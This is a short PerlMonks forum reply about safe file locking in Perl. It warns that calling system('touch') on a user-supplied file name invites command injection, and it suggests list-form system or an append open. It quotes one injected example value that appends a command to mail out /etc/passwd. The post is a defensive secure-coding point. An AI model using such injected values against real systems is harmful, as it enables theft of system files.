Problems? Is your data what you think it is? | |
PerlMonks |
comment on |
( [id://3333]=superdoc: print w/replies, xml ) | Need Help?? |
However KM pointed out to me that the system call to "touch" is not the best approach if the file does not exist.
I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:
Or, simply an open FH, ">>$lockfile" ... approach.
Cheers, In reply to RE: RE (2): Simple Locking
by KM
|
|